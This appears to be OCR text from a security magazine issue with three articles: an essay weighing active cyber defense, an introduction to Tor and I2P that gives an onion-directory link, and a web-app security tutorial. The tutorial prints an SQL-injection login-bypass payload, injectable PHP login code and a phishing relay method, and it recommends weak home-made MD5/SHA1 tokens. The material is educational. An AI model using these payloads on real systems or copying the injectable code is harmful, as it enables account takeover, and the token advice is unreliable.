* Unique IP addresses seen over a six month period.

o

Figure 4. David Dittrich, 2012 [11]
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gerous future. As has been the case many times in
the history of the physical world, offensive actions
can quickly lead to greater problems. The danger
of escalation is always present. In today’s digitally
interconnected world there is also a huge potential
for unpredictable side effects and collateral dam-
age from aggressive actions.” [13]

Arguments against utilizing active cyber defense
often present the following points:

* Ther is an attribution problem. Nailing down
exactly where the attacks are originating is
much easier said than done.

* Instead of taking out the command and control
machines, there is a chance to cause collateral
damage to those machines which are unknow-
ingly acting as bots.

» Some feel that active cyber defense is tanta-
mount to taking the law into your own hands.

* Organizations may not be adequately
equipped or knowledgeable enough to per-
form these actions. Being a security profes-
sional does not necessarily qualify some-
one to make the right judgment calls, espe-
cially if guided by emotions (frustrated, having
a desire to punish, seek revenge or retribu-
tion, etc), nor does it mean that they are quali-
fied or skilled enough to go toe-to-toe with cy-
ber criminals. An Information Security Officer
(ISO) is not synonymous with being a skilled
hacker or counter-attack specialist; counter-
attacking script kiddies may work, but coun-
ter-attacking a highly-skilled cyber criminal
who makes their living by performing cyber at-
tacks could be comparable to bringing a knife
to a gun fight.

* Who performs oversight and scrutinizes those
engaging in active cyber defense and holds
them accountable for their actions? Where
are the defined rules of engagement, or are
they developed on the fly? Who is accountable
when the tit-for-tat escalates and gets out of
hand and there is no oversight mechanism in
place?

* Aot of hypothesizing and arguments are being
brought forward by non-technical individuals in
leadership roles, it may be dangerous for these
individuals to weigh in on extremely complicat-
ed and technical issues of attack and defense
if they are not knowledgeable on such things.

» Counter-attacks have the potential to spiral into
kinetic warfare.

* There is an idea that damaging the attackers
machine will disrupt their ability to conduct at-
tacks, but this may not be totally true if the at-
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tacker is utilizing a virtual machine which can
be reloaded in the matter of seconds. In this
case, it may not be much of a deterrent, and
depending on the attacker, attacking them
may catch their full attention and cause them
to ramp up their efforts, it could be seen as a
game of sorts or a challenge to the attacker.

* An organizations network is an immobile, sta-
tionary target, whereas attackers are mobile,
and have time on their side to regroup. They
have the ability to disappear and reappear at a
later time, location, to work on masking or ob-
fuscating their attack channels, and can as-
semble additional attack bots or seek out addi-
tional help to attack the organization.

+ Just as customer confidence in an organization
may suffer if breaches are made public, so too
may the organization’s reputation be damaged
if their active cyber defense activities were ex-
posed to the public.

* How much of your network does the attacker
already have control of? Could they be moni-
toring internal organization discussions relat-
ed to the counter attacks? Could they watch
the methods being deployed and adjust fire ac-
cordingly? Does the enemy have an insider in
the company who is able to provide them with
details of counter attack plans?

* Many who disagree with active cyber defense
argue that it is unethical for organizations to
take it upon themselves to strike back.

« Attackers don’t care about laws, ethics, collat-
eral damage, reputations, shareholders, etc.
They have the luxury of using anything and ev-
erything at their disposal to attack an organi-
zation. Without having the same disregard for
rules, laws, ethics, etc. how can an organiza-
tion reasonably perform counter-attacks and
guarantee 100% that no collateral damage will
occur?

Legalities of Active Cyber Defense

Active cyber defense techniques fall into some-
thing of a legal gray area, but one could assume
that both the organization and individuals engag-
ing in these actions run the risk of facing civil liabili-
ties and criminal penalties.

The Computer Fraud and Abuse Act (CFAA)
though originally intended to fight fraud, has been
amended with verbiage pertaining to worms, virus-
es, and other malicious code. The CFAA makes it
a crime to “intentionally access a computer without
authorization” and “intentionally causes damage
without authorization.” [14] The key words being:
‘intentionally access, and damage.’
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David Willson, a retired Army JAG officer and
an attorney focuses on understanding the restric-
tions of what IT security professionals can do un-
der the limits of current laws, he says: “You want
to go after them and block them.” He says that
there is no consensus among lawyers focusing
on this topic, but he emphasizes that organiza-
tions being attacked “should look beyond your
network and figure out what’s coming after you,”
and that there is a case to be made that orga-
nizations should “strike back defensively... Can
you do it technically? Yes. Legally? I'd argue,
yes.” [15]

Is Active Cyber Defense the Best Way
Forward?
Both sides of the argument deliver stubborn points
to support their position. Though not wholly against
the idea of active cyber defense, particularly in re-
gards to government and military controlled pro-
grams which | support, | personally lean more to-
wards those who oppose active cyber defense
being used by private organizations who feel they
can handle the situation on their own.

| feel that many organizations rank security
low on their priority list, and look to budget for
a simple, easy Kill, vendor-provided solution. Ma-
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ny organizations look to cut costs by reducing the
number of security professionals required to ad-
equately defend a network, and continue to lower
wages which doesn’t attract highly-skilled secu-
rity experts. For many organizations which have
never suffered from a major security incident, se-
curity is simply seen as a painful, expensive re-
quirement to merely remain compliant with laws
and regulations.

| think the idea of an active cyber defense ini-
tiative would be a hard sell to many companies
because of the consumption of time, money and
resources, as well as the cost of finding and hiring
the right mix of professionals who have the skills
required to perform counterattack actions; addi-
tionally, performing counterattacks do not pro-
duce long-term benefits, it may stop or disrupt the
current attack, but it doesn’t fix the larger prob-
lem of an inadequately administered network. |
would argue that money would better be spent
on training the organization’s staff on best secu-
rity practices, hiring additional security staff with
the skills to cover the gaps in the current team,
and bringing in outside auditors and penetration
testers who could identify and patch vulnerabili-
ties. Organizations would do better to focus on
areas such as stronger security policies and pro-
cedures, better security controls, more training,
and sharper security practices such as improved
logging, data collection, event auditing, immedi-
ate vulnerability patching, etc.

Though it may be embarrassing, or damage
share holders confidence, organizations who
come under attack should work to collect and
preserve evidence, perform forensics actions,
and then report the findings to law enforcement
so that attacker trends, methods, and actions can
be learned from.

That being said, | believe there is an argu-
ment to be made that organizations who special-
ize in striking back, or take down operations (i.e.
Kaspersky Lab partnered with research teams at
CrowdStrike, the HoneyNet Project and Dell Se-
cureWorks in the March, 2012 takedown of Hlux/
Kelihos [16]) should work with law enforcement,
governments, and the legal system, to develop a
controlled and methodical way forward. Basical-
ly ’'m not arguing that organizations should take
counterattack options off the table, but what | am
arguing is that the actual process should be left to
professionals who specialize in this sort of work,
rather than be undertaken by an ISO who may
dabble in hacking on the weekends. Working with
specialists who do this sort of a thing for a living,
and can successfully shut down the attacks, pre-
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serve evidence along the way, and work with the
legal process is the way forward on this, if it must
be done.

Conclusion

There is no question that cyber attacks are on
the rise, and many frustrated organizations are
in search of a new way to deal with the persistent
threats, but do the risks, ethics, laws, and the prob-
ability to cause collateral damage outweigh their
need to utilize active cyber defense strategies, or
is there simply no other way forward but to turn the
internet into a wild west shootout?

In a perfect world there would be well defined
national and international laws and policies guid-
ing who has the authority to take down attackers,
there would be a cyber police division who special-
ized in taking down threats in a quick and efficient
manner, there would be official oversight to the
take down operations, and there would be interna-
tional government and legal cooperation to handle
these attacks, but we are a long way off from this
ideal existence. There has to be further intelligent
discussions among law enforcement, tech savvy
security professionals, and policy makers mov-
ing forward. Organizations who have suffered at-
tacks should feel compelled to transparently share
reports detailing attacks on their networks so that
the security community as a whole can grow and
move forward intelligently, making decisions based
on fact rather than rhetoric, best guesses, or just
flat-out wrong information. Until a stronger set of
laws and policies are developed, until better co-
operation occurs, we may be looking at a future
where organizations are compelled to simply say:
“Hack me? No, hack you!”

TERRANCE STACHOWSKI
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Introduction

to Anonymizing Networks — Tor vs 2P

The Right to Anonymity

Every operation made in cyber space, every visited web site, and
every web service accessed, leave traces of the user’s experience
on the Internet. This information is considered very precious for

commercial and intelligence purposes.

constantly monitoring the world wide web to

collect and correlate the information to use
in analysis on the user’s behavior, but who man-
ages these data, how does he do it, and which are
the real finalities of monitoring activities?

Data acquired during the monitoring of the Inter-
net often are personal information, even socially
harmful, that may be available, intentionally or not,
to anyone beyond the time limits dictated by the
principle of finality of the data. Even if such data
were deleted, they may still be accessible through
storage mechanisms such as “cached”.

Surveillance and monitoring are activities of pri-
mary interest for many governments that in many
cases trace political opponents with dramatic con-
sequences that flow in fierce persecution.

Recently the demand of anonymity has in-
creased, mainly to respond to the large diffusion of
surveillance platforms deployed all over the world,
but the concept of anonymity induces fear in our
imaginations due to the direct link that is usually
made to illicit activities. It must considered that an-
onymity of user’s experiences on the web could
also be motivated by noble argumentations, such
as the fight for the human right to liberty of expres-
sion, avoidance of censorship, liberal promotion
and the circulation of thought.

Anonymous communications have an impor-
tant role in our political and social discourse. In-
dividuals desire to hide their identities because
they may be concerned about political or eco-
nomic retribution, harassment, or even threats to
their lives.

Private companies and governments are
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How to anonymize the user’s experience?

In the Internet, every machine is identified by its IP
address that could be hidden by using anonymizing
services and networks such as 12P and Tor network.
Usually the anonymizing process is based on the
concept of distribution of routing information. Dur-
ing the transmission of data between two entities in
a network it is impossible to not know prior the path
between source and destination, and every node of
the network manages minimal information to route
the packets to the next hop without conserving his-
tory on the path. To avoid interception, large use is
made of encryption algorithms that make impossi-
ble the wiretapping of the information and the re-
composition of the original messages.

The Tor Network

The Deep Web is the set of information resources
on the World Wide Web, not reported by normal
search engines. It is a network of interconnected
systems not indexed having a size hundreds of
times higher than the current visible web.

A parallel web that has a much wider number of
information represents an invaluable resource for
private companies, governments, and especially
cybercrime. In the imagination of many persons,
the Deep Web term is associated with the concept
of anonymity that goes with criminal intents that
cannot be pursued because they are submerged in
an inaccessible world. It's fundamental to remark
that this interpretation of the Deep Web is deeply
wrong.

Tor is the acronym of “The Onion Router”, a
system implemented to enable online anonymity
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thanks to the routing of Internet traffic through a
worldwide volunteer network of servers hiding us-
er’s information.

As usually happens, the project was born in the
military sector, sponsored the US Naval Research
Laboratory, and from 2004 to 2005 it was support-
ed by the Electronic Frontier Foundation.

Access to the network is possible using a Tor cli-
ent, a software that allows user to reach network
resources otherwise inaccessible. Today the soft-
ware is under development and maintenance of Tor
Project. Using a Tor Network a user could avoid his
tracing, his privacy is guaranteed by the unpredict-
able route of the information inside the net and due
to the large adoption of encrypting mechanisms.

Connecting to the Tor network

Imagine a typical scenario where Alice desire to be
connected with Bob using the Tor network. Let’s
see step by step how it is possible.

She makes an unencrypted connection to a cen-
tralized directory server containing the addresses
of the Tor nodes. After receiving the address list
from the directory server the Tor client software will
connect to a random node (the entry node) through
an encrypted connection. The entry node would

Connection set up
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make an encrypted connection to a random sec-
ond node which would in turn do the same to con-
nect to a random third Tor node. The process goes
on until it involves a node (exit node) connected to
the destination.

Consider that during Tor routing, in each connec-
tion, the Tor nodes are randomly chosen and the
same node cannot be used twice in the same path.

To ensure anonymity the connections have a
fixed duration. Every ten minutes, to avoid statisti-
cal analysis that could compromise the user’s pri-
vacy, the client software changes the entry node.

Up to now we have considered an ideal situation
in which a user accesses the network only to con-
nect to another. To further complicate the discus-
sion, in a real scenario, the node Alice used could
in turn be used as a node for routing purposes
with other established connections between other
users.

A malevolent third party would not be able to
know which connection is initiated as a user and
which as a node, making the monitoring of the
communications impossible (Figure 1).

The Tor client distributed from the official web
site of the project could be executed on all the ex-
isting platforms and many add-ons are freely avail-
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able that allow the integration of navigation soft-
ware in existing web browsers. Despite that the
network has been projected to protect user’s pri-
vacy, to be really anonymous it’s suggested to go
though a VPN.

A better mode to navigate inside the Deep Web
is to use the Tails OS distribution which is bootable
from any machine without leaving a trace on the
host. Once the Tor Bundle is installed, it comes
with its own portable Firefox version, ideal for
anonymous navigation due to an appropriate con-
trol of installed plugins.

The user must be aware of the presence of many
plugins in his browsers that expose his privacy to
serious risks. Many of these plugins could be used
to reveal a user’s information during the navigation.

As said, the resources inside the Tor network are
not indexed and is very hard to find them if we are
accustomed to classic search engines. The way to
search the information is profoundly different due
to the absence of indexing of the content. A prac-
tical suggestion to new users is to refer to Wikis
and BBS-like sites that aggregate links, categoriz-
ing them in more suitable groups of consulting. An-
other difference that the user has to take in mind is
that instead of classic extensions (e.g. .com, .gov),
the domains in the Deep Web generally end with
the .onion suffix. The following is a short list of links
that have made famous the Deep Web published
on Pastebin: Figure 2.

Cleaned HiddenWikishould be aalsoagoodstarting
point for the first navigations: http://3suaolltfj2xjksb.
onion/hiddenwiki/index.php/Main_Page.
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Figure 2. Tor Links
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Be careful, some contents are labeled with com-
monly used tags such as CP= child porn. PD is pe-
dophile, stay far from them.

The Deep Web is considered the place where
everything is possible, you can find every kind of
material and services for sale, most of them illegal.
The hidden web offers to cybercrime great busi-
ness opportunity, hacking services, malware, sto-
len credit cards, and weapons.

We all know the potentiality of the e-commerce in
the ordinary web and its impressive growth in last
couple of years, well now imagine the Deep Web
market that is more than 500 times bigger and
where there is no legal limits on the goods to sell.
We are faced with amazing businesses controlled
by cyber criminal organizations.

12P

According to the official definition, “I2P is a scalable,
self organizing, resilient packet switched anony-
mous network layer, upon which any number of dif-
ferent anonymity or security conscious applications
can operate®.

I2P is an open source project developed in early
2003 by a group of full time developers with a group
of part time contributors from all over the world.

It is fundamental to understand that inside an 12P
network the “hidden” component is represented by
an application in execution on the node doing, and
of course the path followed by the information to
reach the destination. Another important concept
for 12P is the “tunnel”, a directed path which extends
through an explicitly selected list of routers. The first
router that belongs to a tunnel is named “gateway”.

The communication within a tunnel in unidirec-
tional, this means that it is impossible to send back
data without using another separated tunnel.

Also for I12P a layered encryption model is imple-
mented, known as “garlic routing” and “garlic en-
cryption”, the information transits on network rout-
ers that are able to decrypt only the respective
layer.

The information managed by each single node is
composed by:

+ |P address of the next router
* encrypted data to transfer.

The original architecture provides two further def-
initions:

* “outbound” tunnels are those tunnels used to
send messages away from the tunnel creator

* “inbound” tunnels are those tunnels used to
bring messages to the tunnel creator.
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Another element of critical importance for the 12P
model is the network database (known as “net-
Db”), a pair of algorithms used to share the follow-
ing metadata with the network:

* ‘“routerinfo” — a data structure to provide rout-
ers the information necessary for contacting a
specific router (their public keys, transport ad-
dresses, etc). Each router send its routerinfo to
the netDb directly, that will collect info on the
entire network.

* “leaseSets” — a data structure to give rout-
ers the information necessary for contacting a
particular destination. A leaseSet is a collec-
tion of “leases”. Each of them specifies a tun-
nel gateway to reach a specific destination. It
is sent through outbound tunnels anonymously,
to avoid correlating a router with its leaseSets.
A lease contains the following info:

* Inbound gateway for a tunnel that allows
reaching a specific destination.

» Time when a tunnel expires.

» Pair of public keys to be able to encrypt
messages (to send through the tunnel and
reach the destination).

[NetworkDb(DHT)
Alice| @ @
Bob | & @
Davel & &

tunnel gateway
local router

< inbound tunnel

Bl outbound tunnel
B—EE intertunnel communication

Figure 3. /2P Routing
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12P Routing

When Alice wants to send a message to Bob, she
does a lookup in the netDb to find Bob’s leaseSet,
giving her his current inbound tunnel gateways.

Alice’s router aggregates multiple messages in-
to a single “garlic message”, encrypting it using a
particular public key, in this way only the public key
owner can open the message.

For typical end to end communication between
Alice and Bob, the garlic will be encrypted using
the public key published in Bob’s leaseSet, allow-
ing the message to be encrypted without giving out
the public key to Bob’s router.

She selects one of her outbound tunnels and
sends the data include of necessary instructions
message and with instructions for the outbound
tunnel’s endpoint to forward the message on to
one of Bob’s inbound tunnel gateways. When the
outbound tunnel endpoint receives those instruc-
tions, it forwards the message according the in-
structions provided, and when Bob’s inbound tun-
nel gateway receives it, it is forwarded down the
tunnel to Bob’s router.

Be aware, we have said that transmission is uni-
directional, this means that if Alice wants Bob to be

Charlie

Dave
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able to reply to the message, she needs to transmit
her own destination explicitly as part of the mes-
sage itself.

I2P is end-to-end encryption. No information is
sent in clear or decrypted during its path including
the sender and recipient. To each node is assigned
an internal network address different from the net-
work |IP address that isn’'t used (Figure 3).

Layered Encryption

The term layered encryption refers to the encryp-
tion process used during the transfer from a source
to the destination through a series of peers that
composes the tunnel.

Both Tor and 2P use layered cryptography. In-
termediate entities have only to know how to for-
ward the connection on to the next hop in the
chain but cannot decipher the contents of the
connections.

I2P is end to end encryption. No information is
sent in clear or decrypted along its path, including
the sender and recipient. To each node is assigned
an internal network address different from the net-
work |IP address that isn’t used.

I2P uses cryptographic ID to identify both rout-
ers and end point services, for naming identifiers
is used the “Base 32 Names” techniques that at-
tributes a SHA256 digest to the base64 represen-

References to routers and services (e.g. www.iZ2p2.i2p)

baseba representation of the destination
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tation of the destination. The hash is base 32 en-
coded and “.b32.i2p” is concatenated onto the end
of the hash (Figure 4).

The sender repeatedly encrypts the data to trans-
mit and at each hop is applied the proper decryp-
tion process. During the building phase, only the
routing instructions for the next hop are exposed
to each peer, meanwhile during the transferring,
messages are passed through the tunnel, and the
message and its routing instructions are only ex-
posed to the endpoint of the tunnel.

Note that it is necessary to introduce an addi-
tional end to end layer of encryption to hide the
data from the outbound tunnel endpoint and the in-
bound tunnel gateway, meanwhile each tunnel has
a layered encryption to avoid unauthorized disclo-
sure to peers inside the network.

At each hop the peer decrypts the message, ex-
tracting data and routing instructions, and sends
them to the successive peer, encrypting all using
the recipient’s public key. The process is repeated
until it has one layer of encryption per hop along
the path. The algorithm used for encryption of the
packets are ElIGamal and AES encryption.

Garlic Routing

Garlic Routing is very similar to onion routing with
several differences. Let’s consider first of all that in
garlic routing, it is possible to aggregate multiple

Hash
Algorithm
SHAZ56

Row value decoded
{with some

character
replacements)

References for www.i2p2.i2p = Hash Valuse base 32 encoded + .b32.i2p (ext)

rixwbswazjhvdzsplmagjmfSnr2dedymvvbycd3swgiinbvg7oga.b32.i2p

Figure 4. Base 32 Names

Figure 5. Garlic Message
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messages. Another difference from Tor is that the
tunnels are unidirectional.

Garlic routing in 12P is adopted mainly in three
distinguished phases:

* For building and routing through tunnels (lay-
ered encryption). In I2P communication tunnels
are unidirectional; this means that each inter-
locutor has to create a couple of tunnels, one
for outbound and one for inbound traffic. There
is also the possibility of a reply from the recip-
ient, therefore another couple of tunnels must
be created for a total of four tunnels.

* For bundling, determining the success or fail-
ure of end to end message delivery.

* For publishing some network database entries
(Figure 5).

Comparison

The core design goal for I2P network is to allow
the anonymous hosting of services, like Tor Hid-
den Services, rather than focusing on anonymous
access to the public Internet such as Tor network.
I2P does provide direct access to the public Inter-
net via “out proxies”. The functionality is offered by
various internal services to proxy out onto other
anonymizing systems such as Tor.

I2P APIs are designed specifically for anonymity
and security, while SOCKS is designed for func-
tionality. In the 12P total security is ensured against
detecting client activity.

Without doubt Tor network has a greater visibil-
ity in the landscape of anonymizing networks. It
is largely used by governments, hackers and also
common people that in many countries try to elude
censorship. The documentation related to the Tor
network is more detailed and complete with respect
to 12P and it is available in different languages.

From a technical point of view, Tor appears more
efficient due to a better memory management
and low bandwidth overhead for its clients. De-
spite these considerations, 12P services are faster
than hidden service in Tor. A mechanism of perfor-
mance ranking is implemented in I12P allowing the
analysis of real performance of the nodes.

Every node in I12P architecture is also generally a
router, so there is not a rigid distinction between a
server and a pure client like there is in the Tor ar-
chitecture. I2P implements a Packet switched rout-
ing instead of circuit switched that allows a better
balancing of data across the network and major re-
liability. Let’s remember that tunnels are unidirec-
tional, meanwhile circuits are bidirectional.

Unlike Tor, 12P doesn’t use centralized directo-
ry servers, but it utilizes a Distributed Hash Table

www.hakin9.org/en
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(DHT). A distributed architecture system eliminates
the risks of a single point of failure.

While Tor is developed using C language, 12P is
based on Java.

Conclusion

The article has the main purpose to introduce ba-
sics of the two most diffused softwares to anony-
mize a user’s experiences on the web, Tor and I2P.
Their importance in very high; thanks these net-
works it is possible to avoid censorship and moni-
toring. At the moment | have a meaningful expe-
rience with Tor networks, its community as said
provides a great support for those users that desire
or need to be anonymous on Internet.

| believe that despite the fact that I2P has existed
about a decade, it is very under-utilized, the pres-
ence of a limited community represents in my opin-
ion a brake on its growth.

| have used both and | found both efficiency ef-
fective. | tried also to sniff a package using specific
software with the intent to disclose navigation data
or any reference to the user’s identity, of course
without success.

The success of anonymizing a network is related
to their diffusion, and without doubt Tor is a step
forward, and the more users have access to shar-
ing resources, the faster will be the navigation.

PIERLUIGI PAGANIN

Pierluigi Paganini is a security researcher for InfoSec In-
stitute. InfoSec Institute is a security certification com-
pany that has trained over 15,000 people including pop-
ular CEH and CCNA certification courses.
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Web Applications have become most crucial nowadays because we
are now moving towards the new era of technology, where the web
will play an important role and become a sensitive area of concern.

scope. Few years ago, the web was a prom-

inent place to showcase brands, share in-
formation, and media through it. Moreover, mails
were the demanding features of the web.

Also, its popularity was limited to some people who
are aware of technology and computers. Then there
were some bottlenecks like cost, bandwidth etc.

But now it is the web and the Internet every-
where. On Desktop systems, mobiles tablets etc.
all support the web. And the Internet is for every
device. All the bottlenecks are trivial these days.

The web has evolved and changed the way peo-
ple interact with eachother.

Now the Internet is used to share info, shop,
work, entertainment etc. Even some businesses
are only 'on' and 'for' the web.

This has increased the complexities with a lot of
technologies and protocols working together in the
background. Nowadays, we are also talking and
working with cloud computing, mobile/tablet com-
puting etc., which makes the web a very sensitive
area of concern from the security point of view.

Cybersecurity is now the concerning topic because
nowadays, the conditions in the fiction movies like
"The Net' 1 and 2 can be plotted in the real world.

Here we will see some ways in which web appli-
cation may become vulnerable and ways by which
these vulnerabilities can be avoided.

F irst we will talk about the web and its future

* Form Data Manipulation,
* Request Forgery,

» Sessions,

« Cookies,
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* XSS,
* Injections,
« SQL Injections.

Forms are the unavoidable part of the web. As it’s
the way by which we can take inputs and informa-
tion from users, its security is also important. What
a hacker can do is change the possible inputs and
make it a large form to handle or can malform to
make false and fake information in the web app.

For example, if we take the following form under
consideration: Listing 1.

Now, we can modify the form by the simplest
available tool — Google Chrome Developer Tools
and add a file input (LIsting 2).

We can see that now we can upload the file to the
target server. Though, the file input won't make any
big deal but it will occupy storage and port of the
server for the time till which the page is active. And
if the uploaded file is large in size, that will cause
the server to listen to the browser until the brows-
er doesn't finish. Now assume a scenario in which
there is an extension to the browser which injects
malicious input field in firms and large files can be
uploaded by a large number of users. That would
take the face of DDoS and may paralyze the server
for some time, causing the web app to stop working.

In another case, the application has the file in-
put to accept images and have some JavaScript
validation on it. The user can modify the form, turn
the script off, or upload a large file to the server
and surely the web application will process it. How
bulky it would become for server to handle it.
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These types of attacks can be avoided by restrict-
ing users to use custom forms like forms created
by the help of JavaScript and when the form has
to be submitted by JavaScript; two step form sub-
missions can be applied. Along with the two step
verifications apply the server side validations and
security checks because a client's system cannot
be completely trusted for the safe input.

Request Forgery is a very possible type of attack
which a web app can face. Request Forgery, which
is very well known as CSRF (Cross Site Request

Forgery), stands for sending the requests to the
web app from an unknown source and pretend to
be sent from a known and authorized source.

To act this attack, an attacker may use the cURL.
cURL or Canonical URL is the way to transfer data
between servers in form of URL Syntax. In other
words, it is a way to access the URL resources
through various protocols. The cURL is available
to be accessed from UNIX/Linux CLI. Library for
various programming languages is also available.
So an attacker with basic understanding of cURL
can make CSRF attack happen.

For example | can send a request to the URL www.
google.com with the following PHP code: Listing 3.

Listing 1. Establishing a form

<form name="" method="" action="">

<input type='submit’ name=’login’ value='Login’
</form>

Listing 2. Modifying the form

"

<form name= method="" action="">

<input type=’file’ name=’file’ > <br/>
<input type=’submit’ name=’login’ value='Login’

</form>

Listing 3. Sending a request to a URL

<?php
Surl = “http:// v.google.com/”;
$ch = curl init(Surl);

curl setopt ($ch, CURLOPT RETURNTRANSFER, true);
echo $curl scraped page = curl exec($ch);
curl close($ch);

?>

<?php
$url = “http://www.
$ch = curl init(Surl);

(KHTML,

Suser agent = ‘Mozilla/5.0 (Linux;

AppleWebKit/533.1

curl setopt ($ch, CURLOPT RETURNTRANSFER, true);
echo $curl scraped page = curl exec($ch);
curl close(Sch);

7>

<label>Email</label><input type=’text’ name='email’
<label>Password</label><input type=’'password’ name='pass’ > <br/>

/>

<label>Email</label><input type=’text’ name=’'email’ > <br/>
<label>Password</label><input type='password’ name=’'pass’

Listing 4. Making a request appear as if sent from a mobile phone

Android 2.2.1;

> <br/>
/>
de-de; HTCiwildﬁ:e A3333 Build/FRG83D)
Version/4.0 Mobile Safari/533.17;

like Gecko)

curl setopt ($ch, CURLOPT USERAGENT, Suser agent);

> <br/>

www.hakin9.org/en
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There are many curl options with which a request
can be made to appear cleaner and harder for re-
ceiving server. Let’s try to send a request to www.
example.com and make it appear as it is coming
from an Android Phone. The site will respond ac-
cording to mobile phone if it handles mobile OS dif-
ferently (Listing 4).

cURL can also be used to send a POST request
to the servers as the form submits. This may lead
to a severe possibility of phishing attacks.

For example, if we can make a phishing page just
by copying the source of any site and changing the
action attribute of main login form. Now on my ac-
tion page we will collect the POST data and extract
the data in which we are interested.

Now as we have got the data, we can forward that
POST data to the original action page and show the
complete output to the user. A regular user would
not doubt the page and we have got our thing.

The request source is still the attackers’ source so
detecting and identifying the source can help you
prevent these attacks. Moreover, you can use the
session IDs to validate the requests, so that CSRF
can be prevented. Attaching the validation tokens
to URLs will also help. The form actions should be
attached with a validation token. The access vali-
dation token should be generated based upon sig-
natures of accessing system and IP address.

You can use prebuilt hashing functions to gener-
ate the access tokens or you can create your own
also by using the existing ones.

For example here | am using MD5 and SHA to
generate a hash of 40 characters (Listing 5).

This way, you can create your own hashing tech-
niques and it will be unknown to the attacker.

Listing 5. Generating a hash with MD5 and SHA

<?php
function generateToken () {
$time = date( ‘U’ );
$strl = str split( md5( $time ) );
$str2 = str split( shal( Stime ) );
Shash = '/
for( $I = 0; $I<20; SI++){
Shash .= S$strl[$I];
Shash .= S$str2[$I];

}

return Shash;

?>
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Sessions are commonly used to keep the applica-
tion safe and track the user’s activities on applica-
tion. As everybody knows sessions are stored on
the server for every user. Session Hijacking attack
is the famous attack for defacing sessions.

An attacker tries to copy the session from an-
other system to his/her own system to gain the cre-
dentials of the user of another system. These at-
tacks may benefit the attacker in any way or it may
be done just for fun. Whatever the reason, your us-
ers and their data are at stake.

The simplest available tool and script is a Firefox
extension. This extension hijacks the user's ses-
sions in the same wireless network.

Session hijacking attack is simply not avoidable and
curable. The security is completely dependent on
authentication and authorization system employed
in the web app. And yes, keep track of each and ev-
ery session created and manage them effectively.
Reduce the session timeout time, validate the
browsers and the OS of the session logged on, be-
cause it would happen for very rare cases that the
user and the attacker will have the same OS brows-
er and other measurable identities and entities, for
example, OS, Browser, OS & Browser version etc.

Cookies — the regular user and an attacker will
think about different objects but both will have the
same joy. For the web, cookies are the data stored
by websites in the user's browsers. These cook-
ies are used to store some amount of information
which will help other components of web applica-
tions function properly, saving the user ID or user
email in a cookie will save a SELECT query from
the database.

Cookies have an expiration date, data value, and
the domain restrictions. Many web app develop-
ers use cookies to store some data in the browser,
such as “remember me” logins, session IDs, same
user identification, etc. Cookies are not used com-
monly nowadays because of their vulnerabilities.
It’s like a treat to hackers and attackers.

Though, the use of cookies is deprecated in web
applications and websites, it is still used frequently.

Now for example, let’s look at a “remember me”
login system. Here is the php code to handle data
on the server (Listing 6).

As you can see in the code above, stealing the
cookie from the user's browser can easily allow the
attackers to take a partial control of the user's ac-
count.
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Preventions and Security

It's OK to use cookies but due to the vulnerabilities,
they can be compromised anytime, so | suggest to
minimize the use of cookies and use sessions in-
stead.

Moreover, if bound to use cookies, you can
employ some authentication and authorization
schemes to prevent the penetration, for example:
assign session IDs with cookies,

» record IP, user agent string and match them on
every new access,

* try to determine and store the location of the
IP address to verify if possibly the same com-
puter system is accessing and using web app
through those cookies,

+ only keep those values in cookies which are
least sensitive and can help you gain the re-
quired application state,

» keep the cookie expiration time as low as pos-
sible.

Nowadays, many sites are warning the users that
they are storing cookies on their browsers so that
the user has an idea of possible security attacks.

XSS, that is Cross Site Scripting, is a special type
of injection attack in which an attacker can inject a
client side script, include or run any script on your
website from any other source website to gain cer-
tain amount of access and privileges in web appli-
cations. This is done in order to bypass the brows-
er's same origin policy applied on scripts. Those
accesses and privileges are not going to com-
pletely paralyze the web app, but it will surely have
some effects and might be just the beginning of the
attack, and then it will surely go severe.

Let's have an example of an attack. Here in the
example, we are having a text area to accept the
lengthy messages.

Now the attacker can put a script code in that text
area. Whoever is the receiver of that message, when
the message is being read by user, he/she will not see
the script code but will have that code on the page.

If that code contains some malicious code able
to bomb the messages to its fellow friends, then it
will surely harm your web app.

Or, the attacker's script can post the pornograph-
ic content to the fellow friends of the user and
spread it to your web application.

Listing 6. PHP code to handle data on server

if (isset ($_POST[‘submit login’]))

{
$username = trim($ POST[‘email’]);
$pwd=md5 ($_POST[ ‘pass’]);

$res=mysql query ($sql);
$row = mysql fetch assoc($Sres);
if (mysgl num rows ($res)>0)

{

$res = mysql query($sql);

$sqgl="select * from users where “email =’".Susername.”’ and password ='S$Spwd’”;

if (isset ($ POST[‘stay’]) && $ POST[‘stay’]=="on”") {
setcookie (Yemail”, S$Susername, time ()+60*60*24*10,”/");
setcookie (“session”, session id(), time()+60*60*24*10,"/");
$ SESSION[‘email’]=Susername;
$ SESSION[‘id’] = Srow[‘'id’];
}
else {
$ SESSION|[ ‘email’]=Susername;
$ SESSION[‘id’] = Srow[‘'id’];
}
$sgl = “insert into ‘users online’ (‘user id’, "ip addr’, 'session id') values(‘”.
get userID($ SESSION[‘email’]).”’, INET ATON(‘”.$ SERVER[ ‘REMOTE
ADDR’].”"),’"”.session_id().”")";

www.hakin9.org/en
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This attack happened on Orkut Social Network-
ing site in which attacker's script post Bom Sabado
which linked to a Brazilian Community, and when
the user clicked on the link, the user got subscribed
to that community.

Preventions and Security

The Cross Site Scripting attack can be filtered and
checked by taking care of the inputs received from
the web application. These inputs must be checked
for the HTML tags and other unwanted inputs like
script tag, onclick, onhover, or event handler attri-
butes. Many web applications use JavaScript to
make the application interactive, make it tough to
intercept, and make the use of Object Oriented ap-
proach in the JavaScript application.

SQL injection is the use of especially crafted inputs
in the input fields to escalate the login or any au-
thentication and authorization schemes of the web
application, and gain the access and permissions
to use it like a fully innocent and normal user.

For example, you have seen Listing 1 and Listing
6. Now if we provide the following input in the input
fields of emails and passwords, then we can have
the escalated login to the web application (Listing
7 and Listing 8).

The SQL query should be built like

SELECT * FROM users WHERE email = 'example'
and pass='example pass'

But now due to SQL injected input, it becomes
similar to the following query

SELECT * FROM users WHERE email = 'a' or 1=1
or 'b' and pass='a' or 1=1 or 'b'

This query will result in the first available record
in the database and provide full access to the at-
tacker with the first user account.

Listing 7. Making escalated login to web application

email: a’ or 1=1 or ‘b
pass: a’ or 1=1 or ‘b

Listing 8. Making escalated login to web application
Semail = $ POST[‘email’];

Spass = S POST[‘pass’];

$sgql = “SELECT * FROM users WHERE email
= ‘Semail’ and pass = ‘Spass’;

Sres = mysql quer ($sql);
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The above explained SQL injection is the basic
example; there are many more and yes, there are
scripts and applications developed to exploit the
vulnerability of SQL injection in the web applica-
tion.

A SQL injection also needs to be taken care of
